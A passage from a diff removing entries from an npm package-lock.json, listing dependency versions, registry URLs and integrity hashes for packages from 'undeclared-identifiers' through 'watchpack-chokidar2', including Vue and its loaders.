"bin/cli.js" - } - }, - "node_modules/undeclared-identifiers": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/undeclared-identifiers/-/undeclared-identifiers-1.1.2.tgz", - "integrity": "sha512-13EaeocO4edF/3JKime9rD7oB6QI8llAGhgn5fKOPyfkJbRb6NFv9pYV6dFEmpa4uRjKeBqLZP8GpuzqHlKDMQ==", - "dev": true, - "dependencies": { - "acorn-node": "^1.3.0", - "get-assigned-identifiers": "^1.2.0", - "simple-concat": "^1.0.0", - "xtend": "^4.0.1" - }, - "bin": { - "undeclared-identifiers": "bin.js" - } - }, - "node_modules/underscore": { - "version": "1.10.2", - "resolved": "https://registry.npmjs.org/underscore/-/underscore-1.10.2.tgz", - "integrity": "sha512-N4P+Q/BuyuEKFJ43B9gYuOj4TQUHXX+j2FqguVOpjkssLUUrnJofCcBccJSCoeturDoZU6GorDTHSvUDlSQbTg==" - }, - "node_modules/underscore.string": { - "version": "3.3.4", - "resolved": "https://registry.npmjs.org/underscore.string/-/underscore.string-3.3.4.tgz", - "integrity": "sha1-LCo/n4PmR2L9xF5s6sZRQoZCE9s=", - "dev": true, - "dependencies": { - "sprintf-js": "^1.0.3", - "util-deprecate": "^1.0.2" - }, - "engines": { - "node": "*" - } - }, - "node_modules/unicode-canonical-property-names-ecmascript": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/unicode-canonical-property-names-ecmascript/-/unicode-canonical-property-names-ecmascript-1.0.4.tgz", - "integrity": "sha512-jDrNnXWHd4oHiTZnx/ZG7gtUTVp+gCcTTKr8L0HjlwphROEW3+Him+IpvC+xcJEFegapiMZyZe02CyuOnRmbnQ==", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/unicode-match-property-ecmascript": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/unicode-match-property-ecmascript/-/unicode-match-property-ecmascript-1.0.4.tgz", - "integrity": "sha512-L4Qoh15vTfntsn4P1zqnHulG0LdXgjSO035fEpdtp6YxXhMT51Q6vgM5lYdG/5X3MjS+k/Y9Xw4SFCY9IkR0rg==", - "dev": true, - "dependencies": { - "unicode-canonical-property-names-ecmascript": "^1.0.4", - "unicode-property-aliases-ecmascript": "^1.0.4" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/unicode-match-property-value-ecmascript": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/unicode-match-property-value-ecmascript/-/unicode-match-property-value-ecmascript-1.2.0.tgz", - "integrity": "sha512-wjuQHGQVofmSJv1uVISKLE5zO2rNGzM/KCYZch/QQvez7C1hUhBIuZ701fYXExuufJFMPhv2SyL8CyoIfMLbIQ==", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/unicode-property-aliases-ecmascript": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/unicode-property-aliases-ecmascript/-/unicode-property-aliases-ecmascript-1.1.0.tgz", - "integrity": "sha512-PqSoPh/pWetQ2phoj5RLiaqIk4kCNwoV3CI+LfGmWLKI3rE3kl1h59XpX2BjgDrmbxD9ARtQobPGU1SguCYuQg==", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/union-value": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/union-value/-/union-value-1.0.0.tgz", - "integrity": "sha1-XHHDTLW61dzr4+oM0IIHulqhrqQ=", - "dev": true, - "dependencies": { - "arr-union": "^3.1.0", - "get-value": "^2.0.6", - "is-extendable": "^0.1.1", - "set-value": "^0.4.3" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/union-value/node_modules/extend-shallow": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", - "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", - "dev": true, - "dependencies": { - "is-extendable": "^0.1.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/union-value/node_modules/set-value": { - "version": "0.4.3", - "resolved": "https://registry.npmjs.org/set-value/-/set-value-0.4.3.tgz", - "integrity": "sha1-fbCPnT0i3H945Trzw79GZuzfzPE=", - "deprecated": "Critical bug fixed in v3.0.1, please upgrade to the latest version.", - "dev": true, - "dependencies": { - "extend-shallow": "^2.0.1", - "is-extendable": "^0.1.1", - "is-plain-object": "^2.0.1", - "to-object-path": "^0.3.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/uniq": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/uniq/-/uniq-1.0.1.tgz", - "integrity": "sha1-sxxa6CVIRKOoKBVBzisEuGWnNP8=", - "dev": true - }, - "node_modules/uniqs": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/uniqs/-/uniqs-2.0.0.tgz", - "integrity": "sha1-/+3ks2slKQaW5uFl1KWe25mOawI=", - "dev": true - }, - "node_modules/unique-filename": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/unique-filename/-/unique-filename-1.1.0.tgz", - "integrity": "sha1-0F8v5AMlYIcfMOk8vnNe6iAVFPM=", - "dev": true, - "dependencies": { - "unique-slug": "^2.0.0" - } - }, - "node_modules/unique-slug": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/unique-slug/-/unique-slug-2.0.0.tgz", - "integrity": "sha1-22Z258fMBimHj/GWCXx4hVrp9Ks=", - "dev": true, - "dependencies": { - "imurmurhash": "^0.1.4" - } - }, - "node_modules/universalify": { - "version": "0.1.2", - "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.1.2.tgz", - "integrity": "sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==", - "dev": true, - "engines": { - "node": ">= 4.0.0" - } - }, - "node_modules/unquote": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/unquote/-/unquote-1.1.1.tgz", - "integrity": "sha1-j97XMk7G6IoP+LkF58CYzcCG1UQ=", - "dev": true - }, - "node_modules/unset-value": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/unset-value/-/unset-value-1.0.0.tgz", - "integrity": "sha1-g3aHP30jNRef+x5vw6jtDfyKtVk=", - "dev": true, - "dependencies": { - "has-value": "^0.3.1", - "isobject": "^3.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/unset-value/node_modules/has-value": { - "version": "0.3.1", - "resolved": "https://registry.npmjs.org/has-value/-/has-value-0.3.1.tgz", - "integrity": "sha1-ex9YutpiyoJ+wKIHgCVlSEWZXh8=", - "dev": true, - "dependencies": { - "get-value": "^2.0.3", - "has-values": "^0.1.4", - "isobject": "^2.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/unset-value/node_modules/has-value/node_modules/isobject": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/isobject/-/isobject-2.1.0.tgz", - "integrity": "sha1-8GVWEJaj8dou9GJy+BXIQNh+DIk=", - "dev": true, - "dependencies": { - "isarray": "1.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/unset-value/node_modules/has-values": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/has-values/-/has-values-0.1.4.tgz", - "integrity": "sha1-bWHeldkd/Km5oCCJrThL/49it3E=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/unset-value/node_modules/isobject": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", - "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/upath": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/upath/-/upath-1.1.0.tgz", - "integrity": "sha512-bzpH/oBhoS/QI/YtbkqCg6VEiPYjSZtrHQM6/QnJS6OL9pKUFLqb3aFh4Scvwm45+7iAgiMkLhSbaZxUqmrprw==", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/uri-js": { - "version": "4.2.2", - "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.2.2.tgz", - "integrity": "sha512-KY9Frmirql91X2Qgjry0Wd4Y+YTdrdZheS8TFwvkbLWf/G5KNJDCh6pKL5OZctEW4+0Baa5idK2ZQuELRwPznQ==", - "dev": true, - "dependencies": { - "punycode": "^2.1.0" - } - }, - "node_modules/uri-js/node_modules/punycode": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.1.tgz", - "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==", - "dev": true, - "engines": { - "node": ">=6" - } - }, - "node_modules/urix": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/urix/-/urix-0.1.0.tgz", - "integrity": "sha1-2pN/emLiH+wf0Y1Js1wpNQZ6bHI=", - "deprecated": "Please see https://github.com/lydell/urix#deprecated", - "dev": true - }, - "node_modules/url": { - "version": "0.11.0", - "resolved": "https://registry.npmjs.org/url/-/url-0.11.0.tgz", - "integrity": "sha1-ODjpfPxgUh63PFJajlW/3Z4uKPE=", - "dev": true, - "dependencies": { - "punycode": "1.3.2", - "querystring": "0.2.0" - } - }, - "node_modules/url-loader": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/url-loader/-/url-loader-1.1.2.tgz", - "integrity": "sha512-dXHkKmw8FhPqu8asTc1puBfe3TehOCo2+RmOOev5suNCIYBcT626kxiWg1NBVkwc4rO8BGa7gP70W7VXuqHrjg==", - "dev": true, - "dependencies": { - "loader-utils": "^1.1.0", - "mime": "^2.0.3", - "schema-utils": "^1.0.0" - }, - "engines": { - "node": ">= 6.9.0" - }, - "peerDependencies": { - "webpack": "^3.0.0 || ^4.0.0" - } - }, - "node_modules/url-loader/node_modules/ajv": { - "version": "6.6.2", - "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.6.2.tgz", - "integrity": "sha512-FBHEW6Jf5TB9MGBgUUA9XHkTbjXYfAUjY43ACMfmdMRHniyoMHjHjzD50OK8LGDWQwp4rWEsIq5kEqq7rvIM1g==", - "dev": true, - "dependencies": { - "fast-deep-equal": "^2.0.1", - "fast-json-stable-stringify": "^2.0.0", - "json-schema-traverse": "^0.4.1", - "uri-js": "^4.2.2" - } - }, - "node_modules/url-loader/node_modules/ajv-keywords": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.2.0.tgz", - "integrity": "sha1-6GuBnGAs+IIa1jdBNpjx3sAhhHo=", - "dev": true, - "peerDependencies": { - "ajv": "^6.0.0" - } - }, - "node_modules/url-loader/node_modules/fast-deep-equal": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-2.0.1.tgz", - "integrity": "sha1-ewUhjd+WZ79/Nwv3/bLLFf3Qqkk=", - "dev": true - }, - "node_modules/url-loader/node_modules/json-schema-traverse": { - "version": "0.4.1", - "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", - "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", - "dev": true - }, - "node_modules/url-loader/node_modules/mime": { - "version": "2.4.0", - "resolved": "https://registry.npmjs.org/mime/-/mime-2.4.0.tgz", - "integrity": "sha512-ikBcWwyqXQSHKtciCcctu9YfPbFYZ4+gbHEmE0Q8jzcTYQg5dHCr3g2wwAZjPoJfQVXZq6KXAjpXOTf5/cjT7w==", - "dev": true, - "bin": { - "mime": "cli.js" - }, - "engines": { - "node": ">=4.0.0" - } - }, - "node_modules/url-loader/node_modules/schema-utils": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-1.0.0.tgz", - "integrity": "sha512-i27Mic4KovM/lnGsy8whRCHhc7VicJajAjTrYg11K9zfZXnYIt4k5F+kZkwjnrhKzLic/HLU4j11mjsz2G/75g==", - "dev": true, - "dependencies": { - "ajv": "^6.1.0", - "ajv-errors": "^1.0.0", - "ajv-keywords": "^3.1.0" - }, - "engines": { - "node": ">= 4" - } - }, - "node_modules/url/node_modules/punycode": { - "version": "1.3.2", - "resolved": "https://registry.npmjs.org/punycode/-/punycode-1.3.2.tgz", - "integrity": "sha1-llOgNvt8HuQjQvIyXM7v6jkmxI0=", - "dev": true - }, - "node_modules/use": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/use/-/use-3.1.1.tgz", - "integrity": "sha512-cwESVXlO3url9YWlFW/TA9cshCEhtu7IKJ/p5soJ/gGpj7vbvFrAY/eIioQ6Dw23KjZhYgiIo8HOs1nQ2vr/oQ==", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/user-home": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/user-home/-/user-home-1.1.1.tgz", - "integrity": "sha1-K1viOjK2Onyd640PKNSFcko98ZA=", - "dev": true, - "bin": { - "user-home": "cli.js" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/util": { - "version": "0.10.3", - "resolved": "https://registry.npmjs.org/util/-/util-0.10.3.tgz", - "integrity": "sha1-evsa/lCAUkZInj23/g7TeTNqwPk=", - "dev": true, - "dependencies": { - "inherits": "2.0.1" - } - }, - "node_modules/util-deprecate": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", - "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=", - "dev": true - }, - "node_modules/util.promisify": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/util.promisify/-/util.promisify-1.0.0.tgz", - "integrity": "sha512-i+6qA2MPhvoKLuxnJNpXAGhg7HphQOSUq2LKMZD0m15EiskXUkMvKdF4Uui0WYeCUGea+o2cw/ZuwehtfsrNkA==", - "dev": true, - "dependencies": { - "define-properties": "^1.1.2", - "object.getownpropertydescriptors": "^2.0.3" - } - }, - "node_modules/util/node_modules/inherits": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.1.tgz", - "integrity": "sha1-sX0I0ya0Qj5Wjv9xn5GwscvfafE=", - "dev": true - }, - "node_modules/uuid": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.2.1.tgz", - "integrity": "sha512-jZnMwlb9Iku/O3smGWvZhauCf6cvvpKi4BKRiliS3cxnI+Gz9j5MEpTz2UFuXiKPJocb7gnsLHwiS05ige5BEA==", - "deprecated": "Please upgrade to version 7 or higher. Older versions may use Math.random() in certain circumstances, which is known to be problematic. See https://v8.dev/blog/math-random for details.", - "dev": true, - "bin": { - "uuid": "bin/uuid" - } - }, - "node_modules/v-autocomplete": { - "version": "1.8.2", - "resolved": "https://registry.npmjs.org/v-autocomplete/-/v-autocomplete-1.8.2.tgz", - "integrity": "sha1-lmx7PtosdN1oORERSiAoTNCWlh8=" - }, - "node_modules/v8flags": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/v8flags/-/v8flags-2.1.1.tgz", - "integrity": "sha1-qrGh+jDUX4jdMhFIh1rALAtV5bQ=", - "dev": true, - "dependencies": { - "user-home": "^1.1.1" - }, - "engines": { - "node": ">= 0.10.0" - } - }, - "node_modules/validate-npm-package-license": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/validate-npm-package-license/-/validate-npm-package-license-3.0.3.tgz", - "integrity": "sha512-63ZOUnL4SIXj4L0NixR3L1lcjO38crAbgrTpl28t8jjrfuiOBL5Iygm+60qPs/KsZGzPNg6Smnc/oY16QTjF0g==", - "dev": true, - "dependencies": { - "spdx-correct": "^3.0.0", - "spdx-expression-parse": "^3.0.0" - } - }, - "node_modules/vendors": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/vendors/-/vendors-1.0.2.tgz", - "integrity": "sha512-w/hry/368nO21AN9QljsaIhb9ZiZtZARoVH5f3CsFbawdLdayCgKRPup7CggujvySMxx0I91NOyxdVENohprLQ==", - "dev": true - }, - "node_modules/verror": { - "version": "1.10.0", - "resolved": "https://registry.npmjs.org/verror/-/verror-1.10.0.tgz", - "integrity": "sha1-OhBcoXBTr1XW4nDB+CiGguGNpAA=", - "dev": true, - "engines": [ - "node >=0.6.0" - ], - "dependencies": { - "assert-plus": "^1.0.0", - "core-util-is": "1.0.2", - "extsprintf": "^1.2.0" - } - }, - "node_modules/vm-browserify": { - "version": "0.0.4", - "resolved": "https://registry.npmjs.org/vm-browserify/-/vm-browserify-0.0.4.tgz", - "integrity": "sha1-XX6kW7755Kb/ZflUOOCofDV9WnM=", - "dev": true, - "dependencies": { - "indexof": "0.0.1" - } - }, - "node_modules/void-elements": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/void-elements/-/void-elements-3.1.0.tgz", - "integrity": "sha1-YU9/v42AHwu18GYfWy9XhXUOTwk=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/vue": { - "version": "2.5.16", - "resolved": "https://registry.npmjs.org/vue/-/vue-2.5.16.tgz", - "integrity": "sha512-/ffmsiVuPC8PsWcFkZngdpas19ABm5mh2wA7iDqcltyCTwlgZjHGeJYOXkBMo422iPwIcviOtrTCUpSfXmToLQ==" - }, - "node_modules/vue-color": { - "version": "2.4.6", - "resolved": "https://registry.npmjs.org/vue-color/-/vue-color-2.4.6.tgz", - "integrity": "sha512-kGz1LNu1DKIcT8jQmUeSjQNqh9NGYBCvMFXU43MRF4kg7A33Z4tZMQFLrPrX7d8r3ptbmLq+MaclJiVQFMCMqg==", - "dependencies": { - "lodash.throttle": "^4.0.0", - "material-colors": "^1.0.0", - "tinycolor2": "^1.1.2" - } - }, - "node_modules/vue-fragment": { - "version": "1.5.1", - "resolved": "https://registry.npmjs.org/vue-fragment/-/vue-fragment-1.5.1.tgz", - "integrity": "sha512-ig6eES6TcMBbANW71ylB+AJgRN+Zksb3f50AxjGpAk6hMzqmeuD80qeh4LJP0jVw2dMBMjgRUfIkrvxygoRgtQ==", - "peerDependencies": { - "vue": "^2.5.16" - } - }, - "node_modules/vue-fullscreen": { - "version": "2.1.5", - "resolved": "https://registry.npmjs.org/vue-fullscreen/-/vue-fullscreen-2.1.5.tgz", - "integrity": "sha512-M8wx+OV7uCGOQ/iLi5d2WHbWW9ad9uBPsW50iezV7LDrZ6iuXkDJSCmTaQgnRKJWOOfPsQrgNFME1LKMRrFmgg==", - "engines": { - "node": ">=4", - "npm": ">=3" - } - }, - "node_modules/vue-hot-reload-api": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/vue-hot-reload-api/-/vue-hot-reload-api-2.3.0.tgz", - "integrity": "sha512-2j/t+wIbyVMP5NvctQoSUvLkYKoWAAk2QlQiilrM2a6/ulzFgdcLUJfTvs4XQ/3eZhHiBmmEojbjmM4AzZj8JA==", - "dev": true - }, - "node_modules/vue-loader": { - "version": "13.7.2", - "resolved": "https://registry.npmjs.org/vue-loader/-/vue-loader-13.7.2.tgz", - "integrity": "sha512-pgFWFsUjYO1v+J+3r7K0Q4lCp0eOyI24/q9j+cCudWyCTjgpjpcAa1MdwjlDUUettt9xkkUBbQ9fkAN1NC8t9w==", - "dev": true, - "dependencies": { - "consolidate": "^0.14.0", - "hash-sum": "^1.0.2", - "loader-utils": "^1.1.0", - "lru-cache": "^4.1.1", - "postcss": "^6.0.8", - "postcss-load-config": "^1.1.0", - "postcss-selector-parser": "^2.0.0", - "prettier": "^1.7.0", - "resolve": "^1.4.0", - "source-map": "^0.6.1", - "vue-hot-reload-api": "^2.2.0", - "vue-style-loader": "^3.0.0", - "vue-template-es2015-compiler": "^1.6.0" - }, - "peerDependencies": { - "css-loader": "*", - "vue-template-compiler": "^2.0.0" - } - }, - "node_modules/vue-loader/node_modules/ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "dev": true, - "dependencies": { - "color-convert": "^1.9.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/vue-loader/node_modules/chalk": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", - "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", - "dev": true, - "dependencies": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/vue-loader/node_modules/color-convert": { - "version": "1.9.2", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", - "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", - "dev": true, - "dependencies": { - "color-name": "1.1.1" - } - }, - "node_modules/vue-loader/node_modules/color-name": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", - "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", - "dev": true - }, - "node_modules/vue-loader/node_modules/has-flag": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", - "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/vue-loader/node_modules/postcss": { - "version": "6.0.23", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", - "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", - "dev": true, - "dependencies": { - "chalk": "^2.4.1", - "source-map": "^0.6.1", - "supports-color": "^5.4.0" - }, - "engines": { - "node": ">=4.0.0" - } - }, - "node_modules/vue-loader/node_modules/source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/vue-loader/node_modules/supports-color": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", - "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", - "dev": true, - "dependencies": { - "has-flag": "^3.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/vue-multiselect": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/vue-multiselect/-/vue-multiselect-2.1.0.tgz", - "integrity": "sha512-mEhApxZ6MUISGLuGDy0RF5UlAKUgG/Qq0DWYE/C+CA1h6ZszM3cHfpNFfFm2AMWLclY2SAWpY1HlQLjsw8WnvQ==", - "engines": { - "node": ">= 4.0.0", - "npm": ">= 3.0.0" - } - }, - "node_modules/vue-popperjs": { - "version": "1.6.3", - "resolved": "https://registry.npmjs.org/vue-popperjs/-/vue-popperjs-1.6.3.tgz", - "integrity": "sha512-D0k/PxsDoCQxYykTh26t//6Uw5hk5Yl3BDlZj2nHqB2AyD0NjKCceLbuBRlPh+O59CXYJLSW2p5QveepLwkUvg==", - "dependencies": { - "popper.js": "^1.14.3" - } - }, - "node_modules/vue-router": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/vue-router/-/vue-router-3.0.1.tgz", - "integrity": "sha512-vLLoY452L+JBpALMP5UHum9+7nzR9PeIBCghU9ZtJ1eWm6ieUI8Zb/DI3MYxH32bxkjzYV1LRjNv4qr8d+uX/w==" - }, - "node_modules/vue-style-loader": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/vue-style-loader/-/vue-style-loader-3.1.2.tgz", - "integrity": "sha512-ICtVdK/p+qXWpdSs2alWtsXt9YnDoYjQe0w5616j9+/EhjoxZkbun34uWgsMFnC1MhrMMwaWiImz3K2jK1Yp2Q==", - "dev": true, - "dependencies": { - "hash-sum": "^1.0.2", - "loader-utils": "^1.0.2" - } - }, - "node_modules/vue-template-compiler": { - "version": "2.5.16", - "resolved": "https://registry.npmjs.org/vue-template-compiler/-/vue-template-compiler-2.5.16.tgz", - "integrity": "sha512-ZbuhCcF/hTYmldoUOVcu2fcbeSAZnfzwDskGduOrnjBiIWHgELAd+R8nAtX80aZkceWDKGQ6N9/0/EUpt+l22A==", - "dev": true, - "dependencies": { - "de-indent": "^1.0.2", - "he": "^1.1.0" - } - }, - "node_modules/vue-template-es2015-compiler": { - "version": "1.6.0", - "resolved": "https://registry.npmjs.org/vue-template-es2015-compiler/-/vue-template-es2015-compiler-1.6.0.tgz", - "integrity": "sha512-x3LV3wdmmERhVCYy3quqA57NJW7F3i6faas++pJQWtknWT+n7k30F4TVdHvCLn48peTJFRvCpxs3UuFPqgeELg==", - "dev": true - }, - "node_modules/vue2-daterange-picker": { - "version": "0.5.1", - "resolved": "https://registry.npmjs.org/vue2-daterange-picker/-/vue2-daterange-picker-0.5.1.tgz", - "integrity": "sha512-p0y9RyI6wqqwffKM5EYgxvNM51un/fBu9hLZ/GxXVOBqTMxjDuV8mz9iUTj4p5R80lWSBwIY7GshW5RYgS8+rw==", - "dependencies": { - "vue": "^2.6.10" - } - }, - "node_modules/vue2-daterange-picker/node_modules/vue": { - "version": "2.6.11", - "resolved": "https://registry.npmjs.org/vue/-/vue-2.6.11.tgz", - "integrity": "sha512-VfPwgcGABbGAue9+sfrD4PuwFar7gPb1yl1UK1MwXoQPAw0BKSqWfoYCT/ThFrdEVWoI51dBuyCoiNU9bZDZxQ==" - }, - "node_modules/vuex": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/vuex/-/vuex-3.0.1.tgz", - "integrity": "sha512-wLoqz0B7DSZtgbWL1ShIBBCjv22GV5U+vcBFox658g6V0s4wZV9P4YjCNyoHSyIBpj1f29JBoNQIqD82cR4O3w==" - }, - "node_modules/walkdir": { - "version": "0.0.11", - "resolved": "https://registry.npmjs.org/walkdir/-/walkdir-0.0.11.tgz", - "integrity": "sha1-oW0CXrkxvQO1LzCMrtD0D86+lTI=", - "dev": true, - "engines": { - "node": ">=0.6.0" - } - }, - "node_modules/watch": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/watch/-/watch-1.0.2.tgz", - "integrity": "sha1-NApxe952Vyb6CqB9ch4BR6VR3ww=", - "dev": true, - "dependencies": { - "exec-sh": "^0.2.0", - "minimist": "^1.2.0" - }, - "bin": { - "watch": "cli.js" - }, - "engines": { - "node": ">=0.1.95" - } - }, - "node_modules/watchify": { - "version": "3.11.0", - "resolved": "https://registry.npmjs.org/watchify/-/watchify-3.11.0.tgz", - "integrity": "sha512-7jWG0c3cKKm2hKScnSAMUEUjRJKXUShwMPk0ASVhICycQhwND3IMAdhJYmc1mxxKzBUJTSF5HZizfrKrS6BzkA==", - "dev": true, - "dependencies": { - "anymatch": "^1.3.0", - "browserify": "^16.1.0", - "chokidar": "^1.0.0", - "defined": "^1.0.0", - "outpipe": "^1.1.0", - "through2": "^2.0.0", - "xtend": "^4.0.0" - }, - "bin": { - "watchify": "bin/cmd.js" - } - }, - "node_modules/watchpack": { - "version": "1.6.0", - "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-1.6.0.tgz", - "integrity": "sha512-i6dHe3EyLjMmDlU1/bGQpEw25XSjkJULPuAVKCbNRefQVq48yXKUpwg538F7AZTf9kyr57zj++pQFltUa5H7yA==", - "dev": true, - "dependencies": { - "chokidar": "^2.0.2", - "graceful-fs": "^4.1.2", - "neo-async": "^2.5.0" - } - }, - "node_modules/watchpack-chokidar2": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/watchpack-chokidar2/-/watchpack-chokidar2-2.0.0.tgz", - "integrity": "sha512-9TyfOyN/zLUbA288wZ8IsMZ+6cbzvsNyEzSBp6e/zkifi6xxbl8SmQ/CxQq32k8NNqrdVEVUVSEf56L4rQ/ZxA==", - "dev": true, - "optional": true, - "dependencies": { - "chokidar": "^2.1.8" - }, - "engines": { - "node": "<8.10.0" - } - }, - "node_modules/watchpack-chokidar2/node_modules/anymatch": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-2.0.0.tgz", - "integrity": "sha512-5teOsQWABXHHBFP9y3skS5P3d/WfWXpv3FUpy+LorMrNYaT9pI4oLMQX7jzQ2KklNpGpWHzdCXTDT2Y3XGlZBw==", - "dev": true, - "optional": true, - "dependencies": { - "micromatch": "^3.1.4", - "normalize-path": "^2.1.1" - } - }, - "node_modules/watchpack-chokidar2/node_modules/anymatch/node_modules/normalize-path": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-2.1.1.tgz", - "integrity": "sha1-GrKLVW4Zg2Oowab35vogE3/mrtk=", - "dev": true, - "optional": true, - "dependencies": { - "remove-trailing-separator": "^1.0.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/watchpack-chokidar2/node_modules/arr-diff": { - "version": "4.0.0", - "resolved": 